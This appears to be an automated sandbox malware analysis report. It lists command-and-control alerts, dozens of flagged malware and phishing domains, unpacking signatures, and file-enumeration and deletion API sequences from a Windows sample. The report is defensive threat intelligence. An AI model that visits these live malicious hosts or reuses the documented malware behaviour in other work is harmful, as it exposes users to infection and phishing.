    2024-11-11T18:50:07.149179+010028048521Malware Command and Control Activity Detected192.168.2.45015823.253.46.6480TCP
    2024-11-11T18:50:07.203434+010028048521Malware Command and Control Activity Detected192.168.2.45016175.2.71.19980TCP
    2024-11-11T18:50:07.212243+010028048521Malware Command and Control Activity Detected192.168.2.450159208.100.26.24580TCP
    2024-11-11T18:50:07.316382+010028048521Malware Command and Control Activity Detected192.168.2.450159208.100.26.24580TCP
    2024-11-11T18:50:07.509057+010028048521Malware Command and Control Activity Detected192.168.2.450162188.114.96.380TCP
    2024-11-11T18:50:07.537489+010028048521Malware Command and Control Activity Detected192.168.2.450163178.162.203.22680TCP
    2024-11-11T18:50:07.610172+010028048521Malware Command and Control Activity Detected192.168.2.45016423.253.46.6480TCP
    2024-11-11T18:50:07.633882+010028048521Malware Command and Control Activity Detected192.168.2.450160154.212.231.8280TCP
    2024-11-11T18:50:09.155304+010028048521Malware Command and Control Activity Detected192.168.2.45016575.2.71.199443TCP
    2024-11-11T18:50:09.156128+010028048521Malware Command and Control Activity Detected192.168.2.450160154.212.231.8280TCP
    2024-11-11T18:50:09.156796+010028048521Malware Command and Control Activity Detected192.168.2.450166188.114.96.3443TCP
    2024-11-11T18:50:09.593276+010028048521Malware Command and Control Activity Detected192.168.2.450162188.114.96.380TCP
    2024-11-11T18:50:10.993605+010028048521Malware Command and Control Activity Detected192.168.2.450167188.114.96.3443TCP
    2024-11-11T18:50:11.824434+010028048521Malware Command and Control Activity Detected192.168.2.450168188.114.96.380TCP
    2024-11-11T18:50:12.418471+010028048521Malware Command and Control Activity Detected192.168.2.450169103.150.10.4880TCP
    2024-11-11T18:50:13.495409+010028048521Malware Command and Control Activity Detected192.168.2.450169103.150.10.4880TCP
    2024-11-11T18:50:13.929799+010028048521Malware Command and Control Activity Detected192.168.2.450170188.114.96.3443TCP
    2024-11-11T18:50:14.324346+010028048521Malware Command and Control Activity Detected192.168.2.450168188.114.96.380TCP
    2024-11-11T18:50:16.179771+010028048521Malware Command and Control Activity Detected192.168.2.450172188.114.96.3443TCP
    2024-11-11T18:50:16.732634+010028048521Malware Command and Control Activity Detected192.168.2.45017376.223.67.18980TCP
    2024-11-11T18:50:16.914158+010028048521Malware Command and Control Activity Detected192.168.2.45017644.221.84.10580TCP
    2024-11-11T18:50:17.003716+010028048521Malware Command and Control Activity Detected192.168.2.450174103.224.212.21080TCP
    2024-11-11T18:50:17.178261+010028048521Malware Command and Control Activity Detected192.168.2.450177103.224.182.25280TCP
    2024-11-11T18:50:17.283219+010028048521Malware Command and Control Activity Detected192.168.2.450175154.85.183.5080TCP
    2024-11-11T18:50:18.116939+010028048521Malware Command and Control Activity Detected192.168.2.450178154.85.183.5080TCP
    2024-11-11T18:50:19.608996+010028048521Malware Command and Control Activity Detected192.168.2.45018172.52.179.17480TCP
    2024-11-11T18:50:20.119910+010028048521Malware Command and Control Activity Detected192.168.2.45018272.52.179.17480TCP
    2024-11-11T18:50:22.673817+010028048521Malware Command and Control Activity Detected192.168.2.45963952.34.198.22980TCP

    Joe Sandbox Signatures

    Click to jump to signature section

    Show All Signature Results

    AV Detection

    barindex
    Antivirus / Scanner detection for submitted sample
    Source: 1fWgBXPgiT.exeAvira: detected
    Antivirus detection for URL or domain
    Source: http://puzytap.com/http://qekylag.com/http://pupymyp.com/http://qekylag.com/http://volyrac.com/http:Avira URL Cloud: Label: malware
    Source: http://lykywid.com/http://qedyqup.com/PAvira URL Cloud: Label: malware
    Source: http://purycap.com/login.phpAvira URL Cloud: Label: malware
    Source: http://ganyhab.com/Avira URL Cloud: Label: malware
    Source: http://vopycoc.com/login.phpAvira URL Cloud: Label: malware
    Source: http://qekyryp.com/login.phpAvira URL Cloud: Label: malware
    Source: http://vojyjyc.com/login.phpAvira URL Cloud: Label: phishing
    Source: http://lyxyvyn.com/login.phpAvira URL Cloud: Label: malware
    Source: http://qexyryl.com/Avira URL Cloud: Label: phishing
    Source: http://vopyret.com/login.phpAvira URL Cloud: Label: phishing
    Source: http://lysyvax.com/login.phpAvira URL Cloud: Label: malware
    Source: http://lymygyx.com/Avira URL Cloud: Label: malware
    Source: http://lyvysur.com/login.phpAvira URL Cloud: Label: malware
    Source: http://pumygyp.com/Avira URL Cloud: Label: malware
    Source: http://galydyw.com/login.phpAvira URL Cloud: Label: malware
    Source: http://gaqycow.com/login.phpAvira URL Cloud: Label: malware
    Source: http://vowypim.com/login.phpAvira URL Cloud: Label: malware
    Source: http://pufywil.com/http://qeqyfaq.com/http://gatynes.com/http://purygeg.com/Avira URL Cloud: Label: malware
    Source: http://qexyvoq.com/login.phpAvira URL Cloud: Label: malware
    Source: http://gacypyz.com/http://lysyger.com/http://lyvysur.com/http://lysyger.com/http://galyros.com/http:Avira URL Cloud: Label: malware
    Source: http://pumydoq.com/Avira URL Cloud: Label: malware
    Source: http://qetyhyg.com/login.phpAvira URL Cloud: Label: phishing
    Source: http://lygytyd.com/login.phpAvira URL Cloud: Label: malware
    Source: http://puzymup.com/login.phpAvira URL Cloud: Label: malware
    Source: http://pujyteq.com/login.phpAvira URL Cloud: Label: malware
    Source: http://volydyk.com/Avira URL Cloud: Label: malware
    Source: http://vojyduf.com/login.phpAvira URL Cloud: Label: malware
    Source: http://qedyhyl.com/login.phpAvira URL Cloud: Label: malware
    Source: http://qegylep.com/http://pufylap.com/8(Avira URL Cloud: Label: malware
    Source: http://qekylag.com/HAvira URL Cloud: Label: malware
    Source: http://pupycuv.com/login.phpAvira URL Cloud: Label: malware
    Source: http://vofyzym.com/HAvira URL Cloud: Label: malware
    Source: http://lymysox.com/Avira URL Cloud: Label: malware
    Source: http://qetykyq.com/login.phpAvira URL Cloud: Label: malware
    Source: http://vofypuk.com/HAvira URL Cloud: Label: malware
    Source: http://lyvynen.com/HAvira URL Cloud: Label: malware
    Source: http://pujylog.com/login.phpAvira URL Cloud: Label: malware
    Source: http://qedyfyq.com/login.phpAvira URL Cloud: Label: malware
    Source: http://lykygun.com/Avira URL Cloud: Label: malware
    Source: http://lyxyxyd.com/http://qeqyfaq.com/http://gaqyfah.com/http://gaqyfah.com/http://gahykih.com/http:Avira URL Cloud: Label: malware
    Source: http://puzytap.com/login.phpAvira URL Cloud: Label: malware
    Source: http://lykyxur.com/Avira URL Cloud: Label: malware
    Source: http://qegyval.com/login.phpAvira URL Cloud: Label: malware
    Source: http://lykygur.com/http://qeqytup.com/http://lykygur.com/Avira URL Cloud: Label: malware
    Source: http://lysynaj.com/login.phpAvira URL Cloud: Label: malware
    Source: http://lygyvuj.com/login.phpAvira URL Cloud: Label: phishing
    Source: http://ww5.galyqaz.com/Avira URL Cloud: Label: malware
    Source: http://vopygat.com/login.phpAvira URL Cloud: Label: phishing
    Source: http://lyvynid.com/login.phpAvira URL Cloud: Label: malware
    Source: https://puzylyp.com/login.phpAvira URL Cloud: Label: malware
    Source: http://galyhib.com/login.phpAvira URL Cloud: Label: malware
    Source: http://qeqynel.com/login.phpNAvira URL Cloud: Label: malware
    Source: http://ganykaz.com/login.phpAvira URL Cloud: Label: malware
    Source: http://qeqykog.com/login.phpAvira URL Cloud: Label: phishing
    Source: http://gadydow.com/login.phpAvira URL Cloud: Label: malware
    Source: http://lygyjuj.com/login.phpAvira URL Cloud: Label: malware
    Source: http://pumytup.com/login.phpAvira URL Cloud: Label: malware
    Source: http://vopykum.com/login.phpAvira URL Cloud: Label: malware
    Source: http://qedyrag.com/login.phpAvira URL Cloud: Label: malware
    Source: http://qedykiv.com/login.phpAvira URL Cloud: Label: malware
    Source: http://qexyreg.com/login.phpAvira URL Cloud: Label: malware
    Source: http://qetyveq.com/login.phpAvira URL Cloud: Label: malware
    Source: http://ww25.lyxynyx.com/login.php?subid1=20241112-0450-16f3-ae99-53051689f189Avira URL Cloud: Label: malware
    Source: http://lysynun.com/login.phpAvira URL Cloud: Label: malware
    Source: http://qekyqop.com/login.phpAvira URL Cloud: Label: malware
    Source: http://pupywog.com/login.phpAvira URL Cloud: Label: malware
    Source: http://lymyxex.com/login.phpAvira URL Cloud: Label: malware
    Source: http://qedyruv.com/login.phpAvira URL Cloud: Label: malware
    Source: http://vocyzum.com/login.phpAvira URL Cloud: Label: malware
    Source: http://volyjif.com/login.phpAvira URL Cloud: Label: malware
    Source: http://vofydak.com/login.phpAvira URL Cloud: Label: malware
    Source: http://vonypic.com/login.phpAvira URL Cloud: Label: malware
    Source: http://gacyvah.com/HAvira URL Cloud: Label: malware
    Source: http://pujymiq.com/login.phpAvira URL Cloud: Label: malware
    Source: http://pumyxiv.com/login.phpAvira URL Cloud: Label: malware
    Source: http://volycem.com/login.phpAvira URL Cloud: Label: malware
    Source: http://puzyduq.com/login.phpAvira URL Cloud: Label: malware
    Source: http://puzydal.com/login.phpAvira URL Cloud: Label: malware
    Source: http://vonydik.com/Avira URL Cloud: Label: phishing
    Source: http://gacyzuz.com/login.phpAvira URL Cloud: Label: phishing
    Source: http://lysymux.com/http://vojykom.com/http://vonydik.com/HAvira URL Cloud: Label: malware
    Source: http://lykyjad.com/login.phpAvira URL Cloud: Label: malware
    Source: http://lyxyvoj.com/Avira URL Cloud: Label: malware
    Source: http://vopymyc.com/login.phpAvira URL Cloud: Label: malware
    Source: http://vojycec.com/login.phpAvira URL Cloud: Label: malware
    Source: http://lykygur.com/Avira URL Cloud: Label: malware
    Source: http://pufybyv.com/login.phpAvira URL Cloud: Label: malware
    Source: http://qegytyv.com/login.phpAvira URL Cloud: Label: malware
    Source: http://ganyfes.com/login.phpAvira URL Cloud: Label: malware
    Source: http://volydot.com/login.phpAvira URL Cloud: Label: phishing
    Source: http://pujygug.com/login.phpAvira URL Cloud: Label: malware
    Multi AV Scanner detection for submitted file
    Source: 1fWgBXPgiT.exeReversingLabs: Detection: 84%
    AI detected suspicious sample
    Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
    Machine Learning detection for sample
    Source: 1fWgBXPgiT.exeJoe Sandbox ML: detected

    Compliance

    barindex
    Detected unpacking (creates a PE file in dynamic memory)
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeUnpacked PE file: 23.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.1200000.2.unpack
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeUnpacked PE file: 27.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.1470000.2.unpack
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeUnpacked PE file: 29.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.3160000.2.unpack
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeUnpacked PE file: 31.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.2990000.2.unpack
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeUnpacked PE file: 35.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.2870000.2.unpack
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeUnpacked PE file: 37.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.3230000.2.unpack
    Detected unpacking (overwrites its own PE header)
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeUnpacked PE file: 0.2.1fWgBXPgiT.exe.400000.2.unpack
    Source: 1fWgBXPgiT.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
    Source: unknownHTTPS traffic detected: 75.2.71.199:443 -> 192.168.2.4:49741 version: TLS 1.2
    Source: unknownHTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49744 version: TLS 1.2
    Source: unknownHTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49746 version: TLS 1.2
    Source: unknownHTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49754 version: TLS 1.2
    Source: unknownHTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49756 version: TLS 1.2
    Source: unknownHTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:55719 version: TLS 1.2
    Source: unknownHTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:55721 version: TLS 1.2
    Source: unknownHTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:55723 version: TLS 1.2
    Source: unknownHTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:55726 version: TLS 1.2
    Source: unknownHTTPS traffic detected: 75.2.71.199:443 -> 192.168.2.4:55744 version: TLS 1.2
    Source: unknownHTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:55746 version: TLS 1.2
    Source: unknownHTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50166 version: TLS 1.2
    Source: unknownHTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50167 version: TLS 1.2
    Source: unknownHTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50172 version: TLS 1.2
    Source: Binary string: wkernel32.pdb source: svchost.exe, 00000001.00000003.2768987204.0000000008B39000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: wkernelbase.pdb source: svchost.exe, 00000001.00000003.2768987204.0000000008B3E000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: wkernelbase.pdb( source: svchost.exe, 00000001.00000003.2768987204.0000000008B3E000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000000.2029269154.000000000039E000.00000002.00000001.01000000.00000009.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000006.00000002.2278410641.000000000039E000.00000002.00000001.01000000.00000009.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000009.00000002.2300658395.000000000039E000.00000002.00000001.01000000.00000009.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000000D.00000000.2043018798.000000000039E000.00000002.00000001.01000000.00000009.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000010.00000000.2067176221.000000000039E000.00000002.00000001.01000000.00000009.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000013.00000002.2102035324.000000000039E000.00000002.00000001.01000000.00000009.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000015.00000000.2096383215.000000000039E000.00000002.00000001.01000000.00000009.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000017.00000002.2114323775.000000000039E000.00000002.00000001.01000000.00000009.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000019.00000002.2124018614.000000000039E000.00000002.00000001.01000000.00000009.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000001B.00000002.2136680146.000000000039E000.00000002.00000001.01000000.00000009.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000001D.00000000.2132103925.000000000039E000.00000002.00000001.01000000.00000009.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000001F.00000002.2157977665.000000000039E000.00000002.00000001.01000000.00000009.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000021.00000000.2155442846.000000000039E000.00000002.00000001.01000000.00000009.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000023.00000000.2164321988.000000000039E000.00000002.00000001.01000000.00000009.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000025.00000000.2172058732.000000000039E000.00000002.00000001.01000000.00000009.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000027.00000002.2192850708.000000000039E000.00000002.00000001.01000000.00000009.sdmp
    Source: Binary string: \??\C:\Program Files (x86)\Windows Defender\symbols\dll\wntdll.pdb source: svchost.exe, 00000001.00000003.2863304297.0000000008ABA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2770707489.0000000008ABA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2915487629.0000000008AB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2811723462.0000000008ABA000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: l\wntdll.pdb source: svchost.exe, 00000001.00000003.2770707489.0000000008ABA000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: wrpcrt4.pdb source: svchost.exe, 00000001.00000003.2901323540.0000000004D05000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: wrpcrt4.pdb( source: svchost.exe, 00000001.00000003.2901323540.0000000004D05000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: wkernel32.pdb( source: svchost.exe, 00000001.00000003.2768987204.0000000008B39000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: wntdll.pdb source: svchost.exe, 00000001.00000003.2768987204.0000000008B33000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: wntdll.pdb( source: svchost.exe, 00000001.00000003.2768987204.0000000008B33000.00000004.00000020.00020000.00000000.sdmp
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_0271DA50 memset,memset,SHGetSpecialFolderPathA,strchr,MultiByteToWideChar,FindFirstFileW,lstrlenW,WideCharToMultiByte,lstrlenW,memcpy,lstrlenW,WideCharToMultiByte,lstrlenW,WideCharToMultiByte,FindNextFileW,FindClose,5_2_0271DA50
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_0271DAE8 SHGetSpecialFolderPathA,strchr,MultiByteToWideChar,FindFirstFileW,5_2_0271DAE8
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_0270D120 StrStrIA,memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,FindNextFileA,SetErrorMode,5_2_0270D120
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_02719910 Sleep,LocalAlloc,_snprintf,FindFirstFileA,LocalFree,wsprintfA,wsprintfA,wsprintfA,memset,lstrcpynA,FindNextFileA,FindClose,5_2_02719910
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_0270E6B0 memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,FindNextFileA,SetErrorMode,5_2_0270E6B0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_026F7680 GetProcessHeap,HeapAlloc,memset,lstrcpynA,FindFirstFileA,GetProcessHeap,HeapAlloc,memset,lstrcpynA,PathAddBackslashA,SetFileAttributesA,SetFileAttributesA,SetFileAttributesA,DeleteFileA,MoveFileExA,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,FindNextFileA,FindClose,SetFileAttributesA,RemoveDirectoryA,5_2_026F7680
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 6_2_00B2D120 StrStrIA,memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,FindNextFileA,SetErrorMode,6_2_00B2D120
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 6_2_00B39910 OpenMutexA,LocalAlloc,_snprintf,FindFirstFileA,LocalFree,wsprintfA,wsprintfA,wsprintfA,memset,lstrcpynA,FindNextFileA,FindClose,6_2_00B39910
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 6_2_00B3DAE8 SHGetSpecialFolderPathA,strchr,MultiByteToWideChar,FindFirstFileW,6_2_00B3DAE8
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 6_2_00B3DA50 memset,memset,SHGetSpecialFolderPathA,strchr,MultiByteToWideChar,FindFirstFileW,lstrlenW,WideCharToMultiByte,lstrlenW,memcpy,lstrlenW,WideCharToMultiByte,lstrlenW,WideCharToMultiByte,FindNextFileW,FindClose,6_2_00B3DA50
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 6_2_00B2E6B0 memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,FindNextFileA,SetErrorMode,6_2_00B2E6B0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 6_2_00B17680 GetProcessHeap,HeapAlloc,memset,lstrcpynA,FindFirstFileA,GetProcessHeap,HeapAlloc,memset,lstrcpynA,PathAddBackslashA,SetFileAttributesA,SetFileAttributesA,SetFileAttributesA,DeleteFileA,MoveFileExA,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,FindNextFileA,FindClose,SetFileAttributesA,RemoveDirectoryA,6_2_00B17680
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 9_2_026CDA50 memset,memset,SHGetSpecialFolderPathA,strchr,MultiByteToWideChar,FindFirstFileW,lstrlenW,WideCharToMultiByte,lstrlenW,memcpy,lstrlenW,WideCharToMultiByte,lstrlenW,WideCharToMultiByte,FindNextFileW,FindClose,9_2_026CDA50
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 9_2_026CDAE8 SHGetSpecialFolderPathA,strchr,MultiByteToWideChar,FindFirstFileW,9_2_026CDAE8
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 9_2_026BD120 StrStrIA,memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,FindNextFileA,SetErrorMode,9_2_026BD120
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 9_2_026C9910 Sleep,LocalAlloc,_snprintf,FindFirstFileA,LocalFree,wsprintfA,wsprintfA,wsprintfA,memset,lstrcpynA,FindNextFileA,FindClose,9_2_026C9910
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 9_2_026BE6B0 memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,FindNextFileA,SetErrorMode,9_2_026BE6B0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 9_2_026A7680 Sleep,GetProcessHeap,HeapAlloc,memset,lstrcpynA,FindFirstFileA,GetProcessHeap,HeapAlloc,memset,lstrcpynA,PathAddBackslashA,SetFileAttributesA,SetFileAttributesA,SetFileAttributesA,DeleteFileA,MoveFileExA,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,FindNextFileA,FindClose,SetFileAttributesA,RemoveDirectoryA,9_2_026A7680
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 13_2_022EDA50 memset,memset,SHGetSpecialFolderPathA,strchr,MultiByteToWideChar,FindFirstFileW,lstrlenW,WideCharToMultiByte,lstrlenW,memcpy,lstrlenW,WideCharToMultiByte,lstrlenW,WideCharToMultiByte,FindNextFileW,FindClose,13_2_022EDA50
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 13_2_022EDAE8 SHGetSpecialFolderPathA,strchr,MultiByteToWideChar,FindFirstFileW,13_2_022EDAE8
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 13_2_022DD120 StrStrIA,memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,FindNextFileA,SetErrorMode,13_2_022DD120
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 13_2_022E9910 Sleep,LocalAlloc,_snprintf,FindFirstFileA,LocalFree,wsprintfA,wsprintfA,wsprintfA,memset,lstrcpynA,FindNextFileA,FindClose,13_2_022E9910
